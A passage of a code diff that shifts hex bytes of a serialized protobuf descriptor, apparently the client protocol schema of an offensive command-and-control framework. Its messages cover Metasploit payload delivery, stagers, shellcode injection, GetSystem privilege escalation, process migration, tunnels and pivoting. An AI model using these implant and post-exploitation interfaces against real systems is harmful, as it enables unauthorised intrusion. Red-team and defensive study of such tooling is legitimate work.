0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, - 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, - 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, - 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, - 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, - 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, - 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, - 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, - 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, - 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, - 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, 0x0a, - 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, - 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x94, - 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, - 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, - 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, + 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, + 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, + 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, + 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, + 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, + 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, + 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, + 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, + 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, - 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, - 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, - 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, - 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, - 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, - 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, - 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, - 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xc3, - 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, - 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, - 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, - 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, - 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, - 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, - 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, - 0x64, 0x43, 0x6f, 0x6e, 